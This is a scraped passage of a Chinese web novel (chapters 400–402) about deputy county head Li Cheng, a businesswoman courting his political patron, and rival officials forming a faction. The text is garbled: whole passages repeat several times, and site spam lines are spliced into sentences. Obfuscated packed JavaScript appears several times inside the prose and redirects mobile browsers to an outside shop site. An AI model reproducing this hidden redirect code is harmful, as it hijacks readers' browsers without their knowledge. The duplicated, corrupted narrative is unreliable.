她对李承的态度,不像是陌生人之间的交流。 给李承的感觉,仿佛这个小秦总,早就认识她似的。 “那明天上午九点,我去贵公司找您。”李承说。 虽说,李承并不知道她这个医药企业为何要跑到风林县建厂,但任何能给风林县创造税收的机会,李承都不想错过。 尤其是二十八号,梁省长要来风林县视察工作,李承更急迫的做出成绩来。 不管最终能不能跟小秦总达成一致,至少,交下这个意向企业,二十八号那天,让她过来捧捧场也是好的。 “好,那我等您。” 小秦总笑着说,并解释道:“我这边实在走不开,不然我就风林县见您了。 ” “理解。” 这是一句客套话,李承听得出来。 忙碌了一天,晚上给所有招商小组开了一个复盘会议后,已经是晚上七点。 站在管委会办公楼的门口,李承望着夜幕的大雨,听着那哗哗的水声,有一种莫名的安宁感。 这场雨下得很大,从下午一直下到晚上,还没有停止的势头。 戚瑶给李承撑起雨伞,站在李承的身后。 因为她个子小,正常撑伞,雨伞会遮挡住李承的大部分视线,所以,她只能踮起脚尖。 “给我吧。” 看着戚瑶踮脚的样子,李承觉得这个姑娘有些可爱。 他从戚瑶手里接过雨伞,绅士的替戚瑶遮住:“走吧。” “谢谢李县长。” 被李承如此体贴的照顾,戚瑶脸颊微微泛红,跟着李承走入磅礴的大雨中。 停车的位置,距离办公楼只有十几米。 十几秒的时间,两个人就坐上了公车。 但为了让戚瑶不被淋湿,李承是有一半肩膀暴露在雨水中。 仅仅十几秒,就已经将李承的衬衫浇透。 这些,戚瑶都看在眼里,记在心里。 回到家。 许梦已经做好了一桌子饭菜,正等着李承回来吃饭。 “杨丹呢?”李承没有看到表妹,便随口询问一句。 “今天下雨,下午的时候我俩就分开了,我看晚上这雨下得太大,也就没叫她过来吃饭。”许梦解释道。 “哦哦。” 李承换上鞋,走进客厅。 “饿了吧,今天给你做了刀鱼,跟杨嫂学的,尝尝” 许梦说话时,看到李承被淋湿的衣服,连忙走进房间,拿出李承的睡衣:“怎么搞的,衣服都湿了,赶紧换上,别感冒了。” “没事,我又不是纸糊的,沾水就倒,没那么脆弱。”李承脱下衬衫,玩笑着说。 换上睡衣,李承洗了一个手,坐下来吃饭。 “尝尝是不是那个味儿。” 许梦给李承夹了一块刀鱼,眨着大眼睛,等待李承的回答。 李承品尝了一下,忍不住啧舌:“你这味道做的.啧.” “不好吃吗?” 许梦看到李承的表情,以为是不好吃。 “怎么说呢,这应该算教会徒弟,饿死师傅,比嫂子做得都好吃。”李承赞不绝口。 这不是为了讨许梦开心,他是真心这么认为。 或许是因为饿着肚子,这口刀鱼对李承来说,是人间美味。 “吓死我了,我还以为不好吃呢。” 两个人吃着饭,也聊起了关于许梦的事业。 工商局的问题,得到了县里领导的高度重视。 整顿工作,堪称雷霆行动。 涉事工作人员被停职调查,背后的黄牛产业链被挖出。 工商局长魏金龙被撤职处理。 这整个过程中,许梦在宣传部的协调下,全程参与录制,经过剪辑后,发布到了她的自媒体账号里。 “下次,如果再出现类似的情况,我能不能宣传部合作吗?”两个人聊到此事,许梦试探的问李承。 “怎么了?” “视频反馈不好,很多评论都调侃说,我被风林县充值了,反正,大部分人不喜欢这个视频风格。” 许梦忍不住的抱怨道:“主要是宣传部卡得太严,太官化了,唉” 整个视频的剪辑,由宣传部进行监督。 宣传部作出的视频,就会背离了那种‘贴地气’的真实感。 她们对县政府的处理,重点描述,对一些问题避重就轻。 完全把视频做成了洗白视频,宣传视频。 “没有人会强制你,你想怎么做,就怎么做。”李承说。 “那样,真的不会影响你吗?”许梦问。 她最担心的就是影响李承,不然,她也不会完全配合宣传部。 “嗯没关系。” 影响有,但李承不想干涉。 “还是有影响的对吧?”许梦垂下头:“那我下次收敛一些,争取不搞出这么大的舆论。” “真的没关系。” 或许是因为饿着肚子,这口刀鱼对李承来说,是人间美味。 “吓死我了,我还以为不好吃呢。” 两个人吃着饭,也聊起了关于许梦的事业。 工商局的问题,得到了县里领导的高度重视。 整顿工作,堪称雷霆行动。 涉事工作人员被停职调查,背后的黄牛产业链被挖出。 工商局长魏金龙被撤职处理。 这整个过程中,许梦在宣传部的协调下,全程参与录制,经过剪辑后,发布到了她的自媒体账号里。 “下次,如果再出现类似的情况,我能不能宣传部合作吗?”两个人聊到此事,许梦试探的问李承。 “怎么了?” “视频反馈不好,很多评论都调侃说,我被风林县充值了,反正,大部分人不喜欢这个视频风格。” 许梦忍不住的抱怨道:“主要是宣传部卡得太严,太官化了,唉” 整个视频的剪辑,由宣传部进行监督。 宣传部作出的视频,就会背离了那种‘贴地气’的真实感。 她们对县政府的处理,重点描述,对一些问题避重就轻。 完全把视频做成了洗白视频,宣传视频。 “没有人会强制你,你想怎么做,就怎么做。”李承说。 “那样,真的不会影响你吗?”许梦问。 她最担心的就是影响李承,不然,她也不会完全配合宣传部。 “嗯没关系。” 影响有,但李承不想干涉。 “还是有影响的对吧?”许梦垂下头:“那我下次收敛一些,争取不搞出这么大的舆论。” “真的没关系。” 或许是因为饿着肚子,这口刀鱼对李承来说,是人间美味。 “吓死我了,我还以为不好吃呢。” 两个人吃着饭,也聊起了关于许梦的事业。 工商局的问题,得到了县里领导的高度重视。 整顿工作,堪称雷霆行动。 涉事工作人员被停职调查,背后的黄牛产业链被挖出。 工商局长魏金龙被撤职处理。 这整个过程中,许梦在宣传部的协调下,全程参与录制,经过剪辑后,发布到了她的自媒体账号里。 “下次,如果再出现类似的情况,我能不能宣传部合作吗?”两个人聊到此事,许梦试探的问李承。 “怎么了?” “视频反馈不好,很多评论都调侃说,我被风林县充值了,反正,大部分人不喜欢这个视频风格。” 许梦忍不住的抱怨道:“主要是宣传部卡得太严,太官化了,唉” 整个视频的剪辑,由宣传部进行监督。 宣传部作出的视频,就会背离了那种‘贴地气’的真实感。 她们对县政府的处理,重点描述,对一些问题避重就轻。 完全把视频做成了洗白视频,宣传视频。 “没有人会强制你,你想怎么做,就怎么做。”李承说。 “那样,真的不会影响你吗?”许梦问。 她最担心的就是影响李承,不然,她也不会完全配合宣传部。 “嗯没关系。” 影响有,但李承不想干涉。 “还是有影响的对吧?”许梦垂下头:“那我下次收敛一些,争取不搞出这么大的舆论。” “真的没关系。” 或许是因为饿着肚子,这口刀鱼对李承来说,是人间美味。 “吓死我了,我还以为不好吃呢。” 两个人吃着饭,也聊起了关于许梦的事业。 工商局的问题,得到了县里领导的高度重视。 整顿工作,堪称雷霆行动。 涉事工作人员被停职调查,背后的黄牛产业链被挖出。 工商局长魏金龙被撤职处理。 这整个过程中,许梦在宣传部的协调下,全程参与录制,经过剪辑后,发布到了她的自媒体账号里。 “下次,如果再出现类似的情况,我能不能宣传部合作吗?”两个人聊到此事,许梦试探的问李承。 “怎么了?” “视频反馈不好,很多评论都调侃说,我被风林县充值了,反正,大部分人不喜欢这个视频风格。” 许梦忍不住的抱怨道:“主要是宣传部卡得太严,太官化了,唉” 整个视频的剪辑,由宣传部进行监督。 宣传部作出的视频,就会背离了那种‘贴地气’的真实感。 她们对县政府的处理,重点描述,对一些问题避重就轻。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17397577|196294||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 完全把视频做成了洗白视频,宣传视频。 “没有人会强制你,你想怎么做,就怎么做。”李承说。 “那样,真的不会影响你吗?”许梦问。 她最担心的就是影响李承,不然,她也不会完全配合宣传部。 “嗯没关系。” 影响有,但李承不想干涉。 “还是有影响的对吧?”许梦垂下头:“那我下次收敛一些,争取不搞出这么大的舆论。” “真的没关系。” 或许是因为饿着肚子,这口刀鱼对李承来说,是人间美味。 “吓死我了,我还以为不好吃呢。” 两个人吃着饭,也聊起了关于许梦的事业。 工商局的问题,得到了县里领导的高度重视。 整顿工作,堪称雷霆行动。 涉事工作人员被停职调查,背后的黄牛产业链被挖出。 工商局长魏金龙被撤职处理。 这整个过程中,许梦在宣传部的协调下,全程参与录制,经过剪辑后,发布到了她的自媒体账号里。 “下次,如果再出现类似的情况,我能不能宣传部合作吗?”两个人聊到此事,许梦试探的问李承。 “怎么了?” “视频反馈不好,很多评论都调侃说,我被风林县充值了,反正,大部分人不喜欢这个视频风格。” 许梦忍不住的抱怨道:“主要是宣传部卡得太严,太官化了,唉” 整个视频的剪辑,由宣传部进行监督。 宣传部作出的视频,就会背离了那种‘贴地气’的真实感。 她们对县政府的处理,重点描述,对一些问题避重就轻。 完全把视频做成了洗白视频,宣传视频。 “没有人会强制你,你想怎么做,就怎么做。”李承说。 “那样,真的不会影响你吗?”许梦问。 她最担心的就是影响李承,不然,她也不会完全配合宣传部。 “嗯没关系。” 影响有,但李承不想干涉。 “还是有影响的对吧?”许梦垂下头:“那我下次收敛一些,争取不搞出这么大的舆论。” “真的没关系。” 或许是因为饿着肚子,这口刀鱼对李承来说,是人间美味。 “吓死我了,我还以为不好吃呢。” 两个人吃着饭,也聊起了关于许梦的事业。 工商局的问题,得到了县里领导的高度重视。 整顿工作,堪称雷霆行动。 涉事工作人员被停职调查,背后的黄牛产业链被挖出。 工商局长魏金龙被撤职处理。 这整个过程中,许梦在宣传部的协调下,全程参与录制,经过剪辑后,发布到了她的自媒体账号里。 “下次,如果再出现类似的情况,我能不能宣传部合作吗?”两个人聊到此事,许梦试探的问李承。 “怎么了?” “视频反馈不好,很多评论都调侃说,我被风林县充值了,反正,大部分人不喜欢这个视频风格。” 许梦忍不住的抱怨道:“主要是宣传部卡得太严,太官化了,唉” 整个视频的剪辑,由宣传部进行监督。 宣传部作出的视频,就会背离了那种‘贴地气’的真实感。 她们对县政府的处理,重点描述,对一些问题避重就轻。 完全把视频做成了洗白视频,宣传视频。 “没有人会强制你,你想怎么做,就怎么做。”李承说。 “那样,真的不会影响你吗?”许梦问。 她最担心的就是影响李承,不然,她也不会完全配合宣传部。 “嗯没关系。” 影响有,但李承不想干涉。 “还是有影响的对吧?”许梦垂下头:“那我下次收敛一些,争取不搞出这么大的舆论。” “真的没关系。” 或许是因为饿着肚子,这口刀鱼对李承来说,是人间美味。 “吓死我了,我还以为不好吃呢。” 两个人吃着饭,也聊起了关于许梦的事业。 工商局的问题,得到了县里领导的高度重视。 整顿工作,堪称雷霆行动。 涉事工作人员被停职调查,背后的黄牛产业链被挖出。 工商局长魏金龙被撤职处理。 这整个过程中,许梦在宣传部的协调下,全程参与录制,经过剪辑后,发布到了她的自媒体账号里。 “下次,如果再出现类似的情况,我能不能宣传部合作吗?”两个人聊到此事,许梦试探的问李承。 “怎么了?” “视频反馈不好,很多评论都调侃说,我被风林县充值了,反正,大部分人不喜欢这个视频风格。” 许梦忍不住的抱怨道:“主要是宣传部卡得太严,太官化了,唉” 整个视频的剪辑,由宣传部进行监督。 宣传部作出的视频,就会背离了那种‘贴地气’的真实感。 她们对县政府的处理,重点描述,对一些问题避重就轻。 完全把视频做成了洗白视频,宣传视频。 “没有人会强制你,你想怎么做,就怎么做。”李承说。 “那样,真的不会影响你吗?”许梦问。 她最担心的就是影响李承,不然,她也不会完全配合宣传部。 “嗯没关系。” 影响有,但李承不想干涉。 “还是有影响的对吧?”许梦垂下头:“那我下次收敛一些,争取不搞出这么大的舆论。” “真的没关系。” 第400章 大雨 吃过晚饭,李承洗了一个热水澡后,他点燃香烟,站在窗前。 外面的雨,倾盆倒灌,仿佛要将整个县城淹没。 对于这场雨,李承觉得是及时雨。 已经到了春种的季节,却连续一个多月没有下雨。 耕地硬得像石头一样,急需这样的一场大雨把土地浇透。 等雨停了,农民们也能开始犁地。 这会是一场丰收雨! 风林县是贫困县,大部分人的主要收入来源,靠的就是种地。 这场大雨,对于农业来说,是绝对的好事。 “老公,这么大的雨,明天你有没有雨休呀?”许梦从身后抱住李承,笑嘻嘻的问。 “想什么美事呢。” 李承掐灭香烟,转过身抱住许梦。 “既然没有休息,那我希望它快点停,下雨都影响心情,不喜欢。” 许梦不喜欢雨,她觉得雨是阴沉的,会影响人的好情绪。 “我倒是很喜欢下雨,仿佛整个世界都安宁了。” 李承喜欢雨,他喜欢雨天那种宁静的气氛,会让他心旷神怡。 尤其是下雨后,那种微凉的潮湿空气,深深的吸一口,格外舒服。 “雨有什么好的,一点都不好。”许梦哼了一声,故意跟李承唱反调。 “没有雨,农民怎么活?这场雨是救命雨。” 作为副县长,虽然他主管是管委会,却也要为全县的百姓考虑。 这对百姓来说,是一场定心雨。 “是呀,春天到了,又到了播种的季节。” 许梦感叹一声,突然眼前一亮,她踮起脚尖,嘴巴凑到李承的耳边:“李大县长,你要不要播种呀” “嗯?” 李承第一时间没反应过来,但很快,她明白了许梦的‘污’意。 没有多余的废话,李承直接抱起许梦,将她丢在了沙发上,随后,整个人也压了上去. 雨下了一整夜,渐小却未停。 次日一早,公车停在了李承的宿舍楼下。 李承没有去管委会,他的第一站是南陵市。 八点五十,汽车准时抵达了盈天药业行政楼下。 戚瑶给李承拉开车门。 下了车,一个年轻苗条的女人,正站在门口等待。 “您是风林县的李承主任吧?”女秘书主动上前,热情的询问。 “是。” “我们秦总在办公室等您呢,这边请。” 听说和异性朋友讨论本书情节的,很容易发展成恋人哦 女秘书做出请的手势,带着李承和戚瑶坐上电梯,抵达十一层。 ‘咚咚咚’ “秦总,李主任到了。 女秘书敲了敲门,隔着门对里面讲。 “进来吧。 一道清冷的声音,从门内传来。 得到许可,女秘书推开门,让李承先行进入。 办公室很阔气,大大的落地窗,让整个办公室看起来格外亮堂。 偌大的办公桌前,坐在一个颇有气场的漂亮女人。 见李承进门,女人站起身,笑着说:“李秘书,好久不见。 好久不见? 李承有些疑惑。 他的目光在女人身上认真打量,却想不起来何时见过。 而且,对方开口称呼的是‘李秘书’,而非‘李主任’,这证明,两个人应该是在汉江见过。 “我们在医药企业推进会上见过,或许你不记得我,但您给我的印象很深刻。 小秦总猜到李承心中所想,解释说。 “抱歉哈,那天一直在忙着处理问题,确实没有印象。李承实话实说,也不虚伪。 那一天,花海集团搞事情,让一个被孟良德查办的污染企业老板混进了会场。 在整个会场期间,李承的注意力都在防备,以及解决突发情况上,对于那些企业家们,并没有过多关注。 “你在解决难题,注意力当然不在我们身上。小秦总走出办公桌,用手势邀请李承坐在会客区域。 “小陈,你出去吧。 两人坐下后,小秦总对秘书说。 目光却落在了戚瑶身上。 李承会意,看向戚瑶,吩咐道:“戚瑶,你出去等我。 “好。 戚瑶点头,离开了办公室。 在她离开后,陈秘书关闭了办公室的门,将空间留给李承和小秦总 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17400893|196294||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。 “李秘书,真没想到,孟省长离开东江后,会给您调任到风林县来。 看来,短短大半年的时间,您就取得了孟省长的信任和重视,得到他的重点栽培,属实厉害! 小秦总亲自给李承倒了一杯柠檬水,赞许起李承的能力。 那些目光短浅的人,看到李承被调到风林县,会认为他是孟良德政治斗争失败下的牺牲品。 是被边缘化,被抛弃。 但只要把目光放得长远,认真思考一下,便知李承来到这个穷困县是重点栽培。 风林县产业园区本就享受着政策 如果喜欢本书请记得和好友讨论本书精彩情节,才有更多收获哦 和地理的利好,李承身为管委会主任,只要把招商工作做好,那就是他政治生涯的一大功绩。 而风林县又是贫困县,产业落地,风林县将实现脱贫致富,李承这位副县长同样功不可没。 产业园区建设和风林县脱贫,是捆绑在一起的。 但在政治功绩上,这是两笔账! 有了这两大功绩傍身,李承仕途的发展空间,将会无限放大,他的晋升速度也将飞速提升。 但是。 并非所有人都具备这种分析能力,也不是所有人都有这种长远的目光,这才导致李承来到风林县后,被针对。 “小秦总,您过奖了,我只是比别人多了些运气。”李承谦虚道。 李承能有今天,个人能力是一部分。 主要原因,是对机遇的把握,其中带着运气的成分。 在这个官场仕途中,李承自知,比他出色的大有人在。 他只是多了些运气而已。 “很多人都有好运气,但不是所有好运者,都能抓住机遇,遇到机遇不是本事,能够把握机遇的人,才是大本事。” 小秦总莞尔一笑,她的夸奖方式,不浮夸,很高明。 “呵呵.”对此,李承只是一笑而过。 “孟省长最近如何?”小秦总淡淡的问。 “挺好的。” 李承敷衍回答,在他心里却忍不住泛起嘀咕。 今天的会面是谈招商,可小秦总的意图,似乎不在招商之上. 第401章 目的不纯 “小秦总盈天药业的主营业务是中成药怎么想着到我们风林县投资建厂?”李承问。 风林县是重工业产业园区高排放高污染。 他们一个制药企业是轻工业到重工业园区建厂显然不符合他们企业的规划 也正是因为盈天药业的性质与风林产业园区不符李承结合刚才的简短寒暄才推测小秦总是醉翁之意不在酒。 “盈天药业自然不会搬到风林县就算我们想去你们也不会收嘛。”小秦总莞尔一笑说。 “小秦总想来可以开绿灯。”李承玩笑回应。 他们是轻工业正常来讲达不到进驻重工业园区的标准。 但是能不能进够不够标准李承能拍板决定。 “哈哈哈盈天就不给李秘书添麻烦了这次谈投资是我们盈天药业和德国凯芮尔达成了合作。 盈天出钱凯芮尔出技术联合做一家医疗影像设备公司风林县的地理位置和政策都符合我们两家公司的预期标准。” 小秦总解释道。 医疗影像设备的研发属于是高端重工业。 李承原本过来就是抱着试一试的心态他最开始并不认为盈天会到风林县建厂只是想接触一下这些企业家结识人脉的同时为二十八号的招商座谈会扩大声势。 给梁省长营造出一番繁华之景。 但通过小秦总的这番言论李承觉得这的确是一个高意向的‘潜在客户’。 “既然小秦总有意到我们风林投资那不妨有时间去县里实地考察一下。”李承邀请道。 “嗯我也在规划考察时间今天叫李秘书来是想聊聊政策问题。”小秦总道。 “政策您应该也清楚十年免地租三年七成的本地税减免。”李承道。 “可我听说这个政策是有弹性的。”小秦总美眸望着李承想试探李承的态度。 “有弹性但力度不大而且我们弹性政策只针对十亿规模以上的大厂。” 李承开诚布公的道。 大企业落地有额外高优惠政策这是招商中默认的规矩。 小秦总在商界摸爬滚打这么多年这些规矩是懂的。 “无论是我们盈天还是凯芮尔市值都远超十亿我们应该能拿到弹性政策吧?”小秦总试探的问。 “如果是盈天和凯芮尔搬迁到风林县政策一定是最定格的。” 李承先认 你的朋友正在书荒,快去帮帮他吧 可了他们的公司规模,随即,改口道:“但是,具体政策要看这家新公司的投资规模。” 盈天和凯芮尔的名气再大,但他们共同合作的新企业规模不达标,李承也不会轻易松口。 “初步投资是三个亿,后续还会追加,而且,凯芮尔在医疗影像的权威性,是国际认可的。 它能来风林县,这可是一个大噱头。”小秦总笑眯眯的说。 她话里的意思是说,凯芮尔和盈天能选中风林县,是风林县的荣幸。 如果李承还要在政策上卡那么严苛,就是不识抬举。 “嗯” 闻言,李承陷入短暂的沉思。 不可否认,凯芮尔在国际上有很大的知名度和影响力,它的子公司能来投资,对风林县是荣誉。 这一点,也在一定的弹性范畴,可以跟县里商议决定。 商议,一定是要商议的。 若是太武断,那就成了官僚主义。 “小秦总,二十八号那天,我们产业园区举办一场招商座谈会,届时,梁省长,周安书记等领导也会到场。 我真诚的邀请您和凯芮尔的代表过来参加,顺便考察一下风林县的产业园区。 政策的事情,等确定要建厂后,我会尽我所能帮您争取。” 李承向小秦总发出邀请。 “嗯,时间允许的话,我一定到。” 听到梁省长也会来,小秦总眼前一亮,但她并没有立即答应。 “李秘书,我已经提前订好了饭店,中午您就不要回去了,我们再深入交谈一下企业发展问题。” 小秦总以探讨企业为由,对李承发出邀请。 她要亲 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17400894|196294||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 自见李承,投资风林县只是部分原因。 更多的原因,她想借这个机会,跟李承建立起关系。 李承是一个潜力股,值得她去投资。 除此之外,她也想在借着李承这个关系,接触孟良德。 孟良德,那是财政部部长,管国家的钱袋子,定政策,编预算,收税费,管支出,控债务,管会计,抓改革 绝对是权力巅峰人物。 更让小秦总动容的,是孟良德未来的发展前景,再进一步,就是国院委员。 如果小秦总能抱上这条大腿,未来的盈天医药,发展无极限。 尽管她知道,想要接触到孟良德很难,取得孟良德的支持,更是难如登天。 但只要这个机会,她就要试一试。 万一成功了,那就是登天! “谢谢小秦总的好意,中午饭就不在这边吃了,企业发展,我们在办公室聊就好。” 李承婉拒了小秦总的邀请。 一来,他三令五申,不允许招商小组去大吃大喝,他个人也要以身作则。 二来,李承察觉到了小秦总的目的不纯。 “嗯,那好吧。” 小秦总并没有强人所难,她开始介绍起企业:“这次我们盈天和凯芮尔的合作,主要在” 接下来的一个小时里,李承与小秦总进行了企业发展方向的交流。 小秦总话语中,含沙射影,也提到过孟良德。 “时间不早了,李秘书,吃口饭再回去吧。”小秦总看了一眼手腕上的百达翡丽,再次邀请。 “不了,下午一点还有一个会议要开,下次。”李承再次婉拒。 在对企业有了一定了解后,李承认为,这家合资公司是一个很有发展前景的公司。 他希望这家企业能够进驻到风林产业园区。 但是,对于小秦总这个人,他要防备。 他察觉,小秦总似乎对孟良德的关系有意。 比起产业园区少一个招商企业,李承更不能允许有人觊觎他和孟良德的关系。 第402章 联手 风林县,县委书记办公室。 王革坐在沙发上,表情严肃的看着对面男人,眼神十分复杂。 有几分纠结,有几分贪婪,还有几分的顾虑与担忧。 “王书记,李承看着挺正派,一副为党为民的大义模样,可事实上呢,他就是一个唯利是图的无耻小人。 为了达到他的目标,这个人根本不择手段,在他的眼里,没有党,没有组织,也没有什么人情味,全部都是算计。 之前陈红旗那么刁难他,他也高调跟陈红旗对着干。 我以为咱们风林县的政治内部终于要迎来曙光,可以推翻陈红旗的霸权。 为此,我甚至不惜跟老书记和陈红旗唱反调,也在林青的任免会议上投了赞同票。 结果!这家伙为了讨好陈红旗,转头就给我出卖了!” 男人义愤填膺,抱怨着李承的种种‘恶行’,试图去破坏王革和李承之间的关系。 而这个男人不是别人,正是常务副县长崔学文。 陈红旗睚眦必报,崔学文已经遭到了陈红旗的打压。 李承和陈红旗又联起手,崔学文的生存空间遭到了重大挤压。 为了他的政治空间,他只能将希望放在王革身上。 他只要说动了王革,两个人联手,还有抗衡之力。 “王书记,我是什么为人,您应该很清楚,从你任职以来,我表面被迫要跟陈红旗同盟,实际上,我在背地里也帮过您。 我的心,其实一直都是向着党,向着组织的,我跟您一样,都是极其厌恶陈红旗这种‘官僚主义’。 陈红旗是官僚主义,李承这个人,也是官僚主义,他们是臭味相投,是一路货色。 一个想统治整个风林县,一个想先统治管委会,再逐步扩张,他们的野心很大,却没有给我们留下来任何的空间。 王书记,我的处境难,您的处境更难啊.” 崔学文一向不抽烟的人,也拿起了王革放在桌子上的烟,点燃了一颗。 他已经感受到了十足的危机。 这份危机,让我终日惶惶不安。 听着崔学文对李承的诋毁,和对局势的分析,王革眉头紧紧皱着。 ‘哒’ 火机清脆的点火声响起,王革深深吸了一口烟。 对于崔学文这个人,王革并不反感。 他这位风林县的一把手,沦落到被架空的地步,崔学文有一定的因素,但主要原因在陈红旗。 而且,崔学文 一直都想报复陈红旗抢了他县长的位置,想要推翻陈红旗的霸权。 所以,王革来任职风林县后,崔学文私下里跟他往来不浅。 “学文同志,李县长的为人我了解,他跟陈县长达成共识,是为了产业园区的稳定发展,对民,对组织是好事。” 王革心里已经动摇,但他不会直接表达出来。 在得知李承和陈红旗达成合作时,他心里也窝着火。 李承的到来,对他来说是希望,他认为,只要全力以赴的支持李承,就有机会推翻陈红旗。 他这位县委书记,也能拿回属于他的绝对实权。 可李承跟陈红旗的合作,却击碎了他的幻想。 “我正是因为相信了他的为人,才落得今天这个下场,如果不是信得过他,我也不会跟陈红旗撕破脸,可结果呢? 王书记,利益之下,何谈人心呀!” 崔学文继续煽动着王革,想要达到他与王革的同盟关系。 “至少,眼下风林县的工作重心在产业园区,李承拿到掌控权,园区也在向积极的方向发展。 我们这些做干部的,不该去干涉这种大好局面。”王革弹了弹烟灰,微微摇头,说。 “王书记,产业园区的发展,是站在了地理优势,和省里大力扶持的发展列车。 风林县产业园区,不是只有他李承一个人能干好,换做任何一个人,都可以做的不错。 您再这样放任下去,到最后,功绩是李承和陈红旗的,你我却要被驱逐到权力核心之外。” 崔学文凝视着王革,他知道王革的痛楚是什么。 气氛在死寂了两秒后,崔学文深吸一口烟。 他并不会抽烟,这口烟吸入,崔学文被呛得直咳:“咳咳咳王书记,你别再自欺欺人了,行吗?” “自欺欺人?” 王革眉头再次紧皱,语气渐冷。 “不是吗?” 崔学文感受到王革被他冒犯后的不悦,但他毫不退让。 因为他抓住了王革的痛点,也直击王革的咽喉要害:“王书记,你到风林县这个偏僻地方当县委书记,是组织对你打压。 我知道,你不甘心仕途止步于此,产业园区同样是你的机会,说难听点,这是你仕途的最后一个机会。” 听完崔学文的话,王革心中火气大涌。 他想发火,可是崔学文的话,一直戳在他的心坎。 他是被‘贬’到了风林县。 幸运的是,他到了风林 县后,赶上了省政府建设风林产业园的红利。 但这个红利,需要抓住。 蛋糕就那么大,如果李承和陈红旗联手,瓜分了这个蛋糕,他作为县委书记能捞到一口汤喝,却也只是一口汤。 这口汤,不足够让他突破县处级,晋升到厅局级的行列中。 “今日丢一城,明日再丢一城,大秦亡矣。” 看着王革迟迟沉默不语,崔学文也不再那么积极,感叹了一句。 也就是这一句,让一再退让的王革,似乎下定了某种决心。 “学文同志,那你觉得,当下应该如何?”王革故作平静,淡淡的问。 “十一位县委常委,你我就占了六票,何愁应对不暇呢?你我联手,优势在我们!” 崔学文认真的说。 崔学文的小团体里,有政法委书记辛磊,纪委书记曹海涛。 而王革的身后,还站着县委办主任冯刚和宣传部长宁文静。 他们两个人联手,手里就拿了六张票。 再配合王革这位县委书记对于常委会议的主持特权,优势的确在他们! “你那两张票,不稳定因素太大了。”王革说。 没有完全的把握,他不会答应跟崔学文的合作。 而在他眼里,崔学文代表不了另外两个人。 县后,赶上了省政府建设风林产业园的红利。 但这个红利,需要抓住。 蛋糕就那么大,如果李承和陈红旗联手,瓜分了这个蛋糕,他作为县委书记能捞到一口汤喝,却也只是一口汤。 这口汤,不足够让他突破县处级,晋升到厅局级的行列中。 “今日丢一城,明日再丢一城,大秦亡矣。” 看着王革迟迟沉默不语,崔学文也不再那么积极,感叹了一句。 也就是这一句,让一再退让的王革,似乎下定了某种决心。 “学文同志,那你觉得,当下应该如何?”王革故作平静,淡淡的问。 “十一位县委常委,你我就占了六票,何愁应对不暇呢?你我联手,优势在我们!” 崔学文认真的说。 崔学文的小团体里,有政法委书记辛磊,纪委书记曹海涛。 而王革的身后,还站着县委办主任冯刚和宣传部长宁文静。 他们两个人联手,手里就拿了六张票。 再配合王革这位县委书记对于常委会议的主持特权,优势的确在他们! “你那两张票,不稳定因素太大了。”王革说。 没有完全的把握,他不会答应跟崔学文的合作。 而在他眼里,崔学文代表不了另外两个人。 县后,赶上了省政府建设风林产业园的红利。 但这个红利,需要抓住。 蛋糕就那么大,如果李承和陈红旗联手,瓜分了这个蛋糕,他作为县委书记能捞到一口汤喝,却也只是一口汤。 这口汤,不足够让他突破县处级,晋升到厅局级的行列中。 “今日丢一城,明日再丢一城,大秦亡矣。” 看着王革迟迟沉默不语,崔学文也不再那么积极,感叹了一句。 也就是这一句,让一再退让的王革,似乎下定了某种决心。 “学文同志,那你觉得,当下应该如何?”王革故作平静,淡淡的问。 “十一位县委常委,你我就占了六票,何愁应对不暇呢?你我联手,优势在我们!” 崔学文认真的说。 崔学文的小团体里,有政法委书记辛磊,纪委书记曹海涛。 而王革的身后,还站着县委办主任冯刚和宣传部长宁文静。 他们两个人联手,手里就拿了六张票。 再配合王革这位县委书记对于常委会议的主持特权,优势的确在他们! “你那两张票,不稳定因素太大了。”王革说。 没有完全的把握,他不会答应跟崔学文的合作。 而在他眼里,崔学文代表不了另外两个人。 县后,赶上了省政府建设风林产业园的红利。 但这个红利,需要抓住。 蛋糕就那么大,如果李承和陈红旗联手,瓜分了这个蛋糕,他作为县委书记能捞到一口汤喝,却也只是一口汤。 这口汤,不足够让他突破县处级,晋升到厅局级的行列中。 “今日丢一城,明日再丢一城,大秦亡矣。” 看着王革迟迟沉默不语,崔学文也不再那么积极,感叹了一句。 也就是这一句,让一再退让的王革,似乎下定了某种决 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 